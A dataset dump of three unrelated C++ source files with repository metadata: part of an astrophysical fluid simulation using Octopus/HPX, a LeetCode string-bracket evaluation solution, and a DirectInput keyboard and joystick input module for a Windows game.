root.reduce<double>(cfl_treewise_compute_dt() , octopus::minimum_functor() , std::numeric_limits<double>::max()); return octopus::dt_prediction(next_dt, fudge_factor_ * next_dt); } template <typename Archive> void serialize(Archive& ar, unsigned int) { ar & max_dt_growth_; ar & fudge_factor_; } }; // Primitive variables are mass, velocity and pressure. Conserved variables // are mass, momentum and energy. struct conserved_to_primitive : octopus::trivial_serialization { void operator()( octopus::state& u , octopus::array<double, 3> const& v ) const { double const R = radius(v); total_energy(u) -= kinetic_energy(u, v); momentum_x(u) /= rho(u); momentum_y(u) /= rho(u); momentum_z(u) /= rho(u); u[radial_momentum_idx] /= rho(u); angular_momentum(u) /= rho(u) * R; angular_momentum(u) -= omega * R; } }; struct primitive_to_conserved : octopus::trivial_serialization { void operator()( octopus::state& u , octopus::array<double, 3> const& v ) const { double const R = radius(v); momentum_x(u) *= rho(u); momentum_y(u) *= rho(u); momentum_z(u) *= rho(u); u[radial_momentum_idx] *= rho(u); angular_momentum(u) += omega * R; angular_momentum(u) *= rho(u) * R; total_energy(u) += kinetic_energy(u, v); } }; struct source : octopus::trivial_serialization { octopus::state operator()( octopus::octree_server& U , octopus::state const& u , octopus::array<double, 3> const& v ) const { octopus::state s; /* if ( octopus::compare_real(v[0], -1.26562, 1e-5) && octopus::compare_real(v[1], -1.45312, 1e-5) && octopus::compare_real(v[2], 0.046875, 1e-5)) { std::stringstream ss; ss << ( boost::format("SOURCE U (%g, %g, %g):") % v[0] % v[1] % v[2]); for (boost::uint64_t i = 0; i < u.size(); ++i) ss << ( boost::format(" %.16x") % octopus::hex_real(u[i])); ss << "\n"; // ss << ( boost::format("Z GRAVITY: %.17e\n") // % gravity<octopus::z_axis>(v)); std::cout << ss.str(); } return s; */ double const R = radius(v); double const p = pressure(u); double const lz = angular_momentum(u); // This is the radial momentum source term (independent of gravity). s[radial_momentum_idx] += (p + std::pow(lz/R, 2)/rho(u))/R; // Add half of the Coriolis force for rotating cartesian momentum. momentum_x(s) += momentum_y(u)*omega; momentum_y(s) -= momentum_x(u)*omega; // There won't be any gravity within a certain radius of the center. if (R < 0.5*(X_in*R_outer)) return s; momentum_x(s) += rho(u)*gravity<octopus::x_axis>(v); momentum_y(s) += rho(u)*gravity<octopus::y_axis>(v); momentum_z(s) += rho(u)*gravity<octopus::z_axis>(v); s[radial_momentum_idx] += rho(u)*radial_gravity(v); return s; } }; // REVIEW: For rot_dir to work properly, do we need to make some changes here? struct flux : octopus::trivial_serialization { octopus::state operator()( octopus::octree_server& U , octopus::state& u , octopus::array<double, 3> const& loc , octopus::array<boost::uint64_t, 3> const& idx , octopus::axis a ) const { double const p = pressure(u); double const R = radius(loc); octopus::state fl; switch (a) { case octopus::x_axis: { // Velocity. double const v = velocity<octopus::x_axis>(u, loc); for (boost::uint64_t i = 0; i < u.size(); ++i) fl[i] = u[i] * v; momentum_x(fl) += p; total_energy(fl) += v * p; fl[radial_momentum_idx] += loc[0] * p / R; angular_momentum(fl) -= loc[1] * p; /* if ( octopus::compare_real(U.x_center(idx[0]), -1.26562, 1e-5) && octopus::compare_real(U.y_center(idx[1]), -1.45312, 1e-5) && octopus::compare_real(U.z_center(idx[2]), 0.046875, 1e-5)) { std::stringstream ss; ss << ( boost::format("X FLUX U (%g, %g, %g):") % U.x_center(idx[0]) % U.y_center(idx[1]) % U.z_center(idx[2])); for (boost::uint64_t i = 0; i < fl.size(); ++i) ss << ( boost::format(" %.16x") % octopus::hex_real(u[i])); ss << "\n"; ss << ( boost::format("X FLUX (%g, %g, %g):") % U.x_center(idx[0]) % U.y_center(idx[1]) % U.z_center(idx[2])); for (boost::uint64_t i = 0; i < fl.size(); ++i) ss << ( boost::format(" %.16x") % octopus::hex_real(fl[i])); ss << "\n"; ss << (boost::format("RADIUS: %.17e\n") % R); ss << (boost::format("PRESSURE: %.17e\n") % p); ss << (boost::format("VELOCITY: %.17e\n") % v); std::cout << ss.str(); } */ break; } case octopus::y_axis: { double const v = velocity<octopus::y_axis>(u, loc); for (boost::uint64_t i = 0; i < u.size(); ++i) fl[i] = u[i] * v; momentum_y(fl) += p; total_energy(fl) += v * p; fl[radial_momentum_idx] += loc[1] * p / R; angular_momentum(fl) += loc[0] * p; break; } case octopus::z_axis: { double const v = velocity<octopus::z_axis>(u, loc); for (boost::uint64_t i = 0; i < u.size(); ++i) fl[i] = u[i] * v; momentum_z(fl) += p; total_energy(fl) += v * p; break; } default: { OCTOPUS_ASSERT(false); break; } } return fl; } }; struct refine_by_geometry : octopus::elementwise_refinement_criteria_base<refine_by_geometry> { /// Returns true if we should refine the region that contains this point. bool refine( octopus::octree_server& U , octopus::state const& u , octopus::array<double, 3> loc ) { using std::sqrt; using std::abs; double const dx = U.get_dx(); double const xU = loc[0]+0.5*dx; // x upper double const xL = loc[0]-0.5*dx; // x lower double const yU = loc[1]+0.5*dx; // y upper double const yL = loc[1]-0.5*dx; // y lower double const radius0 = radius(loc[0], loc[1]); double const radius1 = radius(xU, yU); double const radius2 = radius(xU, yL); double const radius3 = radius(xL, yU); double const radius4 = radius(xL, yL); bool condition0 = ( std::fabs(loc[2]+0.5*dx) < z_max(radius0) || std::fabs(loc[2]-0.5*dx) < z_max(radius0) ); bool condition1 = ( ((radius1 < R_outer) && (radius1 > X_in*R_outer)) || ((radius2 < R_outer) && (radius2 > X_in*R_outer)) || ((radius3 < R_outer) && (radius3 > X_in*R_outer)) || ((radius4 < R_outer) && (radius4 > X_in*R_outer)) ); return condition0 && condition1; } /// If this returns true for all regions in a point, that region will be /// unrefined. bool unrefine( octopus::octree_server& U , octopus::state const& u , octopus::array<double, 3> loc ) { // Unused currently. return false; } template <typename Archive> void serialize(Archive& ar, const unsigned int) { typedef elementwise_refinement_criteria_base<refine_by_geometry> base_type; ar & hpx::util::base_object_nonvirt<base_type>(*this); } }; struct output_equatorial_plane { struct slicer { private: std::ofstream* ofs_; public: slicer() : ofs_(0) {} slicer(std::ofstream& ofs) : ofs_(&ofs) {} void operator()( octopus::octree_server& U , octopus::state& u , octopus::array<double, 3>& loc ) const { (*ofs_) << ( boost::format("%g %g %g %i") % loc[0] % loc[1] % loc[2] % U.get_level()); for (boost::uint64_t i = 0; i < u.size(); ++i) { // (*ofs_) << ( boost::format(" %016x") // % octopus::hex_real(u[i])); (*ofs_) << " " << u[i]; } (*ofs_) << "\n"; } template <typename Archive> void serialize(Archive& ar, const unsigned int) { OCTOPUS_ASSERT(false); }; }; private: octopus::axis axis_; public: output_equatorial_plane() : axis_() {} output_equatorial_plane(octopus::axis a) : axis_(a) {} void operator()( octopus::octree_server& U , std::ofstream& ofs ) const { U.slice_leaf(slicer(ofs), axis_, 1e-7); } template <typename Archive> void serialize(Archive& ar, const unsigned int) { ar & axis_; }; }; struct add_functor : octopus::trivial_serialization { boost::uint64_t operator()(boost::uint64_t a, boost::uint64_t b) const { return a + b; } }; struct one_functor : octopus::trivial_serialization { boost::uint64_t operator()(octopus::octree_server&) const { return 1; } }; boost::uint64_t count_nodes(octopus::octree_server& U) { return U.reduce<boost::uint64_t>(one_functor(), add_functor(), 0); } struct slice_distribution : octopus::trivial_serialization { hpx::id_type operator()( octopus::octree_init_data const& init , std::vector<hpx::id_type> const& localities ) const { double const pi = boost::math::constants::pi<double>(); boost::uint64_t const bw = octopus::science().ghost_zone_length; double const grid_dim = octopus::config().spatial_domain; boost::uint64_t const gnx = octopus::config().grid_node_length; boost::uint64_t n = localities.size(); boost::uint64_t i = gnx / 2; boost::uint64_t j = gnx / 2; // boost::uint64_t i = 0; // boost::uint64_t j = 0; double const dx0 = octopus::science().initial_dx(); double const x = double(init.offset[0] + i) * init.dx - grid_dim - bw * dx0 - init.origin[0]; double const y = double(init.offset[1] + j) * init.dx - grid_dim - bw * dx0 - init.origin[1]; // double const x = x_face + 0.5 * init.dx; // double const y = y_face + 0.5 * init.dx; // double const x = x_face; // double const y = y_face; double theta = std::atan2(y, x); if (theta < 0) theta += 2*pi; // std::cout << ( boost::format("x=%1%, y=%2%, theta=%3%, loc[0]=%4%, loc[1]=%5%\n") // % x % y % theta % init.location[0] % init.location[1]); boost::uint64_t l = 0; while (true) { OCTOPUS_ASSERT(l < n); double lower_bound = double(l)/double(n) * 2*pi; // std::cout << ( boost::format("l=%1%, lower_bound=%2%\n") // % l % lower_bound); if (theta >= lower_bound) { double upper_bound = double(l+1)/double(n) * 2*pi; if (theta < upper_bound) break; } ++l; } OCTOPUS_ASSERT(l < n); return localities[l]; } }; struct reset_checkpoint : octopus::trivial_serialization { void operator()() const { octopus::checkpoint().seekp(0); } }; #endif // OCTOPUS_9BA6055C_E7A9_4A16_8A24_B8B410AA1A14
31.078183
91
0.481336
[ "object", "vector" ]
bbc576b08c17d7bf1ae7ea8d0a193c38a0647313
788
cpp
C++
Algorithms/1807.Evaluate_the_Bracket_Pairs_of_a_String.cpp
metehkaya/LeetCode
52f4a1497758c6f996d515ced151e8783ae4d4d2
[ "MIT" ]
2
2020-07-20T06:40:22.000Z
2021-11-20T01:23:26.000Z
Problems/LeetCode/Problems/1807.Evaluate_the_Bracket_Pairs_of_a_String.cpp
metehkaya/Algo-Archive
03b5fdcf06f84a03125c57762c36a4e03ca6e756
[ "MIT" ]
null
null
null
Problems/LeetCode/Problems/1807.Evaluate_the_Bracket_Pairs_of_a_String.cpp
metehkaya/Algo-Archive
03b5fdcf06f84a03125c57762c36a4e03ca6e756
[ "MIT" ]
null
null
null
class Solution { public: string evaluate(string s, vector<vector<string>>& v) { int n = s.length(); map<string,string> mp; for( int i = 0 ; i < v.size() ; i++ ) mp[v[i][0]] = v[i][1]; string ans = ""; map<string,string>::iterator it; for( int i = 0 ; i < n ; ) { if(s[i] == '(') { i++; string key = ""; while(s[i] != ')') key.push_back(s[i++]); i++; it = mp.find(key); if(it == mp.end()) ans.push_back('?'); else ans += it->second; } else ans.push_back(s[i++]); } return ans; } };
28.142857
58
0.335025
[ "vector" ]
bbc601f16b7bb08b6d8a89e128109354e2f966aa
26,979
cpp
C++
input.cpp
gaartok/Fireball-CPP
d2dd2cf42edacc82ad3919a845ca67d53f5aa335
[ "MIT" ]
null
null
null
input.cpp
gaartok/Fireball-CPP
d2dd2cf42edacc82ad3919a845ca67d53f5aa335
[ "MIT" ]
null
null
null
input.cpp
gaartok/Fireball-CPP
d2dd2cf42edacc82ad3919a845ca67d53f5aa335
[ "MIT" ]
null
null
null
#include "input.hpp" #include "resource.h" #include "global.h" #include "debug.h" extern HWND hWndMain; extern DWORD ReadKeyboardInput(void); extern DWORD ReadJoystickInput(void); // allocate external variables DWORD (*ReadGameInput)(void) = ReadKeyboardInput; /* * We'll use up to the first ten input devices. * * c_cpdiFound is the number of found devices. * g_rgpdiFound[0] is the array of found devices. * g_pdevCurrent is the device that we are using for input. */ #define MAX_DINPUT_DEVICES 10 int g_cpdevFound; LPDIRECTINPUTDEVICE2 g_rgpdevFound[MAX_DINPUT_DEVICES]; LPDIRECTINPUTDEVICE2 g_pdevCurrent; /*-------------------------------------------------------------------------- | AddInputDevice | | Records an input device in the array of found devices. | | In addition to stashing it in the array, we also add it to the device | menu so the user can pick it. | *-------------------------------------------------------------------------*/ void AddInputDevice(LPDIRECTINPUTDEVICE pdev, LPCDIDEVICEINSTANCE pdi) { if (g_cpdevFound < MAX_DINPUT_DEVICES) { HRESULT hRes; /* * Convert it to a Device2 so we can Poll() it. */ // hRes = pdev->QueryInterface(&IID_IDirectInputDevice2, (LPVOID *)&g_rgpdevFound[g_cpdevFound]); hRes = pdev->QueryInterface(IID_IDirectInputDevice2, (LPVOID *)&g_rgpdevFound[g_cpdevFound]); if (SUCCEEDED(hRes)) { HMENU hmenu; /* * Add its description to the menu. */ hmenu = GetSubMenu(GetMenu(hWndMain), 0); InsertMenu(hmenu, g_cpdevFound, MF_BYPOSITION | MF_STRING, IDC_DEVICES + g_cpdevFound, pdi->tszInstanceName); g_cpdevFound++; } } } /*-------------------------------------------------------------------------- | | SetDIDwordProperty | | Set a DWORD property on a DirectInputDevice. | *-------------------------------------------------------------------------*/ HRESULT SetDIDwordProperty(LPDIRECTINPUTDEVICE pdev, REFGUID guidProperty, DWORD dwObject, DWORD dwHow, DWORD dwValue) { DIPROPDWORD dipdw; dipdw.diph.dwSize = sizeof(dipdw); dipdw.diph.dwHeaderSize = sizeof(dipdw.diph); dipdw.diph.dwObj = dwObject; dipdw.diph.dwHow = dwHow; dipdw.dwData = dwValue; return pdev->SetProperty(guidProperty, &dipdw.diph); } /*-------------------------------------------------------------------------- | InitKeyboardInput | | Initializes DirectInput for the keyboard. Creates a keyboard device, | sets the data format to our custom format, sets the cooperative level and | adds it to the menu. | *-------------------------------------------------------------------------*/ BOOL InitKeyboardInput(LPDIRECTINPUT pdi) { LPDIRECTINPUTDEVICE pdev; DIDEVICEINSTANCE di; // create the DirectInput keyboard device // if (pdi->CreateDevice(&GUID_SysKeyboard, &pdev, NULL) != DI_OK) if (pdi->CreateDevice(GUID_SysKeyboard, &pdev, NULL) != DI_OK) { OutputDebugString("IDirectInput::CreateDevice FAILED\n"); return FALSE; } // set keyboard data format if (pdev->SetDataFormat(&c_dfDIKeyboard) != DI_OK) { OutputDebugString("IDirectInputDevice::SetDataFormat FAILED\n"); pdev->Release(); return FALSE; } // set the cooperative level if (pdev->SetCooperativeLevel(hWndMain, DISCL_NONEXCLUSIVE | DISCL_FOREGROUND) != DI_OK) { OutputDebugString("IDirectInputDevice::SetCooperativeLevel FAILED\n"); pdev->Release(); return FALSE; } // set buffer size if (SetDIDwordProperty(pdev, DIPROP_BUFFERSIZE, 0, DIPH_DEVICE, KEYBUFSIZE) != DI_OK) { OutputDebugString("IDirectInputDevice::SetProperty(DIPH_DEVICE) FAILED\n"); pdev->Release(); return FALSE; } // // Get the name of the primary keyboard so we can add it to the menu. // di.dwSize = sizeof(di); if (pdev->GetDeviceInfo(&di) != DI_OK) { OutputDebugString("IDirectInputDevice::GetDeviceInfo FAILED\n"); pdev->Release(); return FALSE; } // // Add it to our list of devices. If AddInputDevice succeeds, // he will do an AddRef. // AddInputDevice(pdev, &di); pdev->Release(); return TRUE; } /*-------------------------------------------------------------------------- | InitJoystickInput | | Initializes DirectInput for an enumerated joystick device. | Creates the device, device, sets the standard joystick data format, | sets the cooperative level and adds it to the menu. | | If any step fails, just skip the device and go on to the next one. | *-------------------------------------------------------------------------*/ BOOL FAR PASCAL InitJoystickInput(LPCDIDEVICEINSTANCE pdinst, LPVOID pvRef) { LPDIRECTINPUT pdi = (LPDIRECTINPUT) pvRef; LPDIRECTINPUTDEVICE pdev; DIPROPRANGE diprg; // create the DirectInput joystick device // if (pdi->CreateDevice(&pdinst->guidInstance, &pdev, NULL) != DI_OK) if (pdi->CreateDevice(pdinst->guidInstance, &pdev, NULL) != DI_OK) { OutputDebugString("IDirectInput::CreateDevice FAILED\n"); return DIENUM_CONTINUE; } // set joystick data format if (pdev->SetDataFormat(&c_dfDIJoystick) != DI_OK) { OutputDebugString("IDirectInputDevice::SetDataFormat FAILED\n"); pdev->Release(); return DIENUM_CONTINUE; } // set the cooperative level if (pdev->SetCooperativeLevel(hWndMain, DISCL_NONEXCLUSIVE | DISCL_FOREGROUND) != DI_OK) { OutputDebugString("IDirectInputDevice::SetCooperativeLevel FAILED\n"); pdev->Release(); return DIENUM_CONTINUE; } // set X-axis range to (-1000 ... +1000) // This lets us test against 0 to see which way the stick is pointed. diprg.diph.dwSize = sizeof(diprg); diprg.diph.dwHeaderSize = sizeof(diprg.diph); diprg.diph.dwObj = DIJOFS_X; diprg.diph.dwHow = DIPH_BYOFFSET; diprg.lMin = -1000; diprg.lMax = +1000; if (pdev->SetProperty(DIPROP_RANGE, &diprg.diph) != DI_OK) { OutputDebugString("IDirectInputDevice::SetProperty(DIPH_RANGE) FAILED\n"); pdev->Release(); return FALSE; } // // And again for Y-axis range // diprg.diph.dwObj = DIJOFS_Y; if (pdev->SetProperty(DIPROP_RANGE, &diprg.diph) != DI_OK) { OutputDebugString("IDirectInputDevice::SetProperty(DIPH_RANGE) FAILED\n"); pdev->Release(); return FALSE; } // set X axis dead zone to 50% (to avoid accidental turning) // Units are ten thousandths, so 50% = 5000/10000. if (SetDIDwordProperty(pdev, DIPROP_DEADZONE, DIJOFS_X, DIPH_BYOFFSET, 5000) != DI_OK) { OutputDebugString("IDirectInputDevice::SetProperty(DIPH_DEADZONE) FAILED\n"); pdev->Release(); return FALSE; } // set Y axis dead zone to 50% (to avoid accidental thrust) // Units are ten thousandths, so 50% = 5000/10000. if (SetDIDwordProperty(pdev, DIPROP_DEADZONE, DIJOFS_Y, DIPH_BYOFFSET, 5000) != DI_OK) { OutputDebugString("IDirectInputDevice::SetProperty(DIPH_DEADZONE) FAILED\n"); pdev->Release(); return FALSE; } // // Add it to our list of devices. If AddInputDevice succeeds, // he will do an AddRef. // AddInputDevice(pdev, pdinst); pdev->Release(); return DIENUM_CONTINUE; } /*-------------------------------------------------------------------------- | InitInput | | Initializes DirectInput for the keyboard and all joysticks. | | For each input device, add it to the menu. | *-------------------------------------------------------------------------*/ BOOL InitInput(HINSTANCE hInst, HWND hWnd) { LPDIRECTINPUT pdi; BOOL fRc; // DIRECTINPUTCREATE DirectInputCreate = NULL; // Note: Joystick support is a DirectX 5.0 feature. // Since we also want to run on DirectX 3.0, we will start out // with DirectX 3.0 to make sure that at least we get the keyboard. // create the DirectInput interface object if (DirectInputCreate(hInst, DIRECTINPUT_VERSION, &pdi, NULL) != DI_OK) // if (DirectInput8Create(hInst, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&pdi, NULL) != DI_OK) // if (FAILED(hr = DirectInput8Create(hInst, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&pdi, NULL))) { OutputDebugString("DirectInputCreate 3.0 FAILED\n"); return FALSE; } fRc = InitKeyboardInput(pdi); pdi->Release(); // Finished with DX 3.0 if (!fRc) { return FALSE; } #if 0 // create the DirectInput 5.0 interface object if (DirectInputCreate(hInst, DIRECTINPUT_VERSION, &pdi, NULL) == DI_OK) { // Enumerate the joystick devices. If it doesn't work, oh well, // at least we got the keyboard. pdi->EnumDevices(DIDEVTYPE_JOYSTICK, InitJoystickInput, pdi, DIEDFL_ATTACHEDONLY); pdi->Release(); // Finished with DX 5.0. } else { OutputDebugString("DirectInputCreate 5.0 FAILED - no joystick support\n"); } #endif // Default device is the keyboard PickInputDevice(0); // if we get here, we were successful return TRUE; } /*-------------------------------------------------------------------------- | CleanupInput | | Cleans up all DirectInput objects. *-------------------------------------------------------------------------*/ void CleanupInput(void) { int idev; // make sure the device is unacquired // it doesn't harm to unacquire a device that isn't acquired if (g_pdevCurrent) IDirectInputDevice_Unacquire(g_pdevCurrent); // release all the devices we created for (idev = 0; idev < g_cpdevFound; idev++) { if (g_rgpdevFound[idev]) { IDirectInputDevice_Release(g_rgpdevFound[idev]); g_rgpdevFound[idev] = 0; } } } /*-------------------------------------------------------------------------- | ReacquireInput | | Reacquires the current input device. If Acquire() returns S_FALSE, | that means | that we are already acquired and that DirectInput did nothing. *-------------------------------------------------------------------------*/ BOOL ReacquireInput(void) { HRESULT hRes; // if we have a current device if (g_pdevCurrent) { // acquire the device hRes = IDirectInputDevice_Acquire(g_pdevCurrent); if (SUCCEEDED(hRes)) { // acquisition successful return TRUE; } else { // acquisition failed return FALSE; } } else { // we don't have a current device return FALSE; } } void FlushKeyboardInput(void) { #if 1 DWORD dwEvents; HRESULT hRes; DIDEVICEOBJECTDATA rgKeyData[KEYBUFSIZE]; dwEvents = KEYBUFSIZE; while (dwEvents > 0) { dwEvents = KEYBUFSIZE; hRes = IDirectInputDevice_GetDeviceData(g_pdevCurrent, sizeof(DIDEVICEOBJECTDATA), rgKeyData, &dwEvents, 0); if (hRes == DIERR_INPUTLOST) { ReacquireInput(); dwEvents = KEYBUFSIZE; } } #endif } DWORD ReadOneKeyboardInput(void) { DIDEVICEOBJECTDATA rgKeyData[1]; DWORD dwEvents; static DWORD dwKeyState = 0; HRESULT hRes; // get data from the keyboard dwEvents = 1; hRes = IDirectInputDevice_GetDeviceData(g_pdevCurrent, sizeof(DIDEVICEOBJECTDATA), rgKeyData, &dwEvents, 0); if (hRes != DI_OK) { // did the read fail because we lost input for some reason? // if so, then attempt to reacquire. If the second acquire // fails, then the error from GetDeviceData will be // DIERR_NOTACQUIRED, so we won't get stuck an infinite loop. if (hRes == DIERR_INPUTLOST) ReacquireInput(); // return the fact that we did not read any data return 0; } if (dwEvents <= 0) return 0; // we have a keystroke... if (rgKeyData[0].dwData & 0x80) return(rgKeyData[0].dwOfs); // it's the downstroke else return(rgKeyData[0].dwOfs | 0x10000000); // it's the upstroke } /*-------------------------------------------------------------------------- | ReadKeyboardInput | | Requests keyboard data and performs any needed processing. *-------------------------------------------------------------------------*/ DWORD ReadKeyboardInput(void) { DIDEVICEOBJECTDATA rgKeyData[KEYBUFSIZE]; DWORD dwEvents; DWORD dw; static DWORD dwKeyState = 0; HRESULT hRes; // get data from the keyboard dwEvents = KEYBUFSIZE; hRes = IDirectInputDevice_GetDeviceData(g_pdevCurrent, sizeof(DIDEVICEOBJECTDATA), rgKeyData, &dwEvents, 0); if (hRes != DI_OK) { // did the read fail because we lost input for some reason? // if so, then attempt to reacquire. If the second acquire // fails, then the error from GetDeviceData will be // DIERR_NOTACQUIRED, so we won't get stuck an infinite loop. if (hRes == DIERR_INPUTLOST) ReacquireInput(); // return the fact that we did not read any data return 0; } // process the data for (dw = 0; dw < dwEvents; dw++) { switch (rgKeyData[dw].dwOfs) { case DIK_ESCAPE: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_ESCAPE; else dwKeyState &= (DWORD)~KEY_ESCAPE; break; } case DIK_SPACE: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_SPACE; else dwKeyState &= (DWORD)~KEY_SPACE; break; } case DIK_NUMPAD5: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_STOP; else dwKeyState &= ~KEY_STOP; break; } case DIK_NUMPAD7: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_SHIELD; else dwKeyState &= ~KEY_SHIELD; break; } case DIK_UP: case DIK_NUMPAD8: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_UP; else dwKeyState &= ~KEY_UP; break; } case DIK_DOWN: case DIK_NUMPAD2: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_DOWN; else dwKeyState &= ~KEY_DOWN; break; } case DIK_LEFT: case DIK_NUMPAD4: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_LEFT; else dwKeyState &= ~KEY_LEFT; break; } case DIK_RIGHT: case DIK_NUMPAD6: { if (rgKeyData[dw].dwData & 0x80) dwKeyState |= KEY_RIGHT; else dwKeyState &= ~KEY_RIGHT; break; } } } // return the state of the keys to the caller return dwKeyState; } /*-------------------------------------------------------------------------- | ReadJoystickInput | | Requests joystick data and performs any needed processing. | *-------------------------------------------------------------------------*/ DWORD ReadJoystickInput(void) { DWORD dwKeyState; HRESULT hRes; DIJOYSTATE js; // poll the joystick to read the current state hRes = IDirectInputDevice2_Poll(g_pdevCurrent); // get data from the joystick hRes = IDirectInputDevice_GetDeviceState(g_pdevCurrent, sizeof(DIJOYSTATE), &js); if (hRes != DI_OK) { // did the read fail because we lost input for some reason? // if so, then attempt to reacquire. If the second acquire // fails, then the error from GetDeviceData will be // DIERR_NOTACQUIRED, so we won't get stuck an infinite loop. if (hRes == DIERR_INPUTLOST) ReacquireInput(); // return the fact that we did not read any data return 0; } // Now study the position of the stick and the buttons. dwKeyState = 0; if (js.lX < 0) dwKeyState |= KEY_LEFT; else if (js.lX > 0) dwKeyState |= KEY_RIGHT; if (js.lY < 0) dwKeyState |= KEY_UP; else if (js.lY > 0) dwKeyState |= KEY_DOWN; if (js.rgbButtons[0] & 0x80) dwKeyState |= KEY_SPACE; // KEY_FIRE if (js.rgbButtons[1] & 0x80) dwKeyState |= KEY_SHIELD; if (js.rgbButtons[2] & 0x80) dwKeyState |= KEY_STOP; return dwKeyState; } /*-------------------------------------------------------------------------- | PickInputDevice | | Make the n'th input device the one that we will use for game play. | *-------------------------------------------------------------------------*/ BOOL PickInputDevice(int n) { if (n < g_cpdevFound) { // Unacquire the old device. if (g_pdevCurrent) IDirectInputDevice_Unacquire(g_pdevCurrent); // Move to the new device. g_pdevCurrent = g_rgpdevFound[n]; // Set ReadGameInput to the appropriate handler. if (n == 0) ReadGameInput = ReadKeyboardInput; else ReadGameInput = ReadJoystickInput; CheckMenuRadioItem(GetSubMenu(GetMenu(hWndMain), 0), IDC_DEVICES, IDC_DEVICES + g_cpdevFound - 1, IDC_DEVICES + n, MF_BYCOMMAND); ReacquireInput(); return TRUE; } else { return FALSE; } } char DIKCodeToAnsi(DWORD DIK_CODE, BOOL shiftPos) { if (shiftPos) { switch (DIK_CODE & 0x000000ff) // if shift is active, return caps { case 0: return 0; case DIK_ESCAPE: return 27; case DIK_1: return '!'; case DIK_2: return '@'; case DIK_3: return '#'; case DIK_4: return '$'; case DIK_5: return '%'; case DIK_6: return '^'; case DIK_7: return '&'; case DIK_8: return '*'; case DIK_9: return '('; case DIK_0: return ')'; case DIK_MINUS: return '_'; case DIK_EQUALS: return '+'; case DIK_BACK: return 8; case DIK_TAB: return 9; case DIK_Q: return 'Q'; case DIK_W: return 'W'; case DIK_E: return 'E'; case DIK_R: return 'R'; case DIK_T: return 'T'; case DIK_Y: return 'Y'; case DIK_U: return 'U'; case DIK_I: return 'I'; case DIK_O: return 'O'; case DIK_P: return 'P'; case DIK_LBRACKET: return '{'; case DIK_RBRACKET: return '}'; case DIK_RETURN: return 13; case DIK_A: return 'A'; case DIK_S: return 'S'; case DIK_D: return 'D'; case DIK_F: return 'F'; case DIK_G: return 'G'; case DIK_H: return 'H'; case DIK_J: return 'J'; case DIK_K: return 'K'; case DIK_L: return 'L'; case DIK_SEMICOLON: return ':'; case DIK_APOSTROPHE: return '"'; case DIK_GRAVE: return '~'; case DIK_BACKSLASH: return '|'; case DIK_Z: return 'Z'; case DIK_X: return 'X'; case DIK_C: return 'C'; case DIK_V: return 'V'; case DIK_B: return 'B'; case DIK_N: return 'N'; case DIK_M: return 'M'; case DIK_COMMA: return '<'; case DIK_PERIOD: return '>'; case DIK_SLASH: return '?'; case DIK_MULTIPLY: return '*'; case DIK_SPACE: return ' '; case DIK_NUMPAD7: return '7'; case DIK_NUMPAD8: return '8'; case DIK_NUMPAD9: return '9'; case DIK_SUBTRACT: return '-'; case DIK_NUMPAD4: return '4'; case DIK_NUMPAD5: return '5'; case DIK_NUMPAD6: return '6'; case DIK_ADD: return '+'; case DIK_NUMPAD1: return '1'; case DIK_NUMPAD2: return '2'; case DIK_NUMPAD3: return '3'; case DIK_NUMPAD0: return '0'; case DIK_DECIMAL: return '.'; case DIK_NUMPADEQUALS: return '='; case DIK_CIRCUMFLEX: return '~'; case DIK_COLON: return ':'; case DIK_UNDERLINE: return '_'; case DIK_NUMPADENTER: return 13; case DIK_NUMPADCOMMA: return ','; case DIK_DIVIDE: return '/'; case DIK_HOME: return 0; case DIK_UP: return 0; case DIK_LEFT: return 0; case DIK_RIGHT: return 0; case DIK_END: return 0; case DIK_DOWN: return 0; } } else { switch (DIK_CODE & 0x000000ff) { case 0: return 0; case DIK_ESCAPE: return 27; case DIK_1: return '1'; case DIK_2: return '2'; case DIK_3: return '3'; case DIK_4: return '4'; case DIK_5: return '5'; case DIK_6: return '6'; case DIK_7: return '7'; case DIK_8: return '8'; case DIK_9: return '9'; case DIK_0: return '0'; case DIK_MINUS: return '-'; case DIK_EQUALS: return '='; case DIK_BACK: return 8; case DIK_TAB: return 9; case DIK_Q: return 'q'; case DIK_W: return 'w'; case DIK_E: return 'e'; case DIK_R: return 'r'; case DIK_T: return 't'; case DIK_Y: return 'y'; case DIK_U: return 'u'; case DIK_I: return 'i'; case DIK_O: return 'o'; case DIK_P: return 'p'; case DIK_LBRACKET: return '['; case DIK_RBRACKET: return ']'; case DIK_RETURN: return 13; case DIK_A: return 'a'; case DIK_S: return 's'; case DIK_D: return 'd'; case DIK_F: return 'f'; case DIK_G: return 'g'; case DIK_H: return 'h'; case DIK_J: return 'j'; case DIK_K: return 'k'; case DIK_L: return 'l'; case DIK_SEMICOLON: return ';'; case DIK_APOSTROPHE: return 39; case DIK_GRAVE: return '`'; case DIK_BACKSLASH: return '\\'; case DIK_Z: return 'z'; case DIK_X: return 'x'; case DIK_C: return 'c'; case DIK_V: return 'v'; case DIK_B: return 'b'; case DIK_N: return 'n'; case DIK_M: return 'm'; case DIK_COMMA: return ','; case DIK_PERIOD: return '.'; case DIK_SLASH: return '/'; case DIK_MULTIPLY: return '*'; case DIK_SPACE: return ' '; case DIK_NUMPAD7: return '7'; case DIK_NUMPAD8: return '8'; case DIK_NUMPAD9: return '9'; case DIK_SUBTRACT: return '-'; case DIK_NUMPAD4: return '4'; case DIK_NUMPAD5: return '5'; case DIK_NUMPAD6: return '6'; case DIK_ADD: return '+'; case DIK_NUMPAD1: return '1'; case DIK_NUMPAD2: return '2'; case DIK_NUMPAD3: return '3'; case DIK_NUMPAD0: return '0'; case DIK_DECIMAL: return '.'; case DIK_NUMPADEQUALS: return '='; case DIK_CIRCUMFLEX: return '~'; case DIK_COLON: return ':'; case DIK_UNDERLINE: return '_'; case DIK_NUMPADENTER: return 13; case DIK_NUMPADCOMMA: return ','; case DIK_DIVIDE: return '/'; case DIK_HOME: return 0; case DIK_UP: return 0; case DIK_LEFT: return 0; case DIK_RIGHT: return 0; case DIK_END: return 0; case DIK_DOWN: return 0; } } return 0; }
26.818091
115
0.488528
[ "object" ]
bbcb316405df3c136390d24529b76a970d62d798
